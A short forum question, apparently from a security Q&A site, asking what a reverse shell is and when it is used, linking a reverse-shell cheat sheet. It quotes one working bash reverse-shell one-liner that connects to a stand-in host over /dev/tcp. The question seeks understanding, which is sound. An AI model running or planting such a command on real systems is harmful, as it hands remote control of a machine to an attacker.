title: What is a reverse shell?
body: <p>Could someone explain in deep what is reverse shell about and in what cases are we supposed to use it?
  I found this <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet" rel="noreferrer">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a> regarding the same, what is the meaning of: </p>
  
  <pre><code>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1
  </code></pre>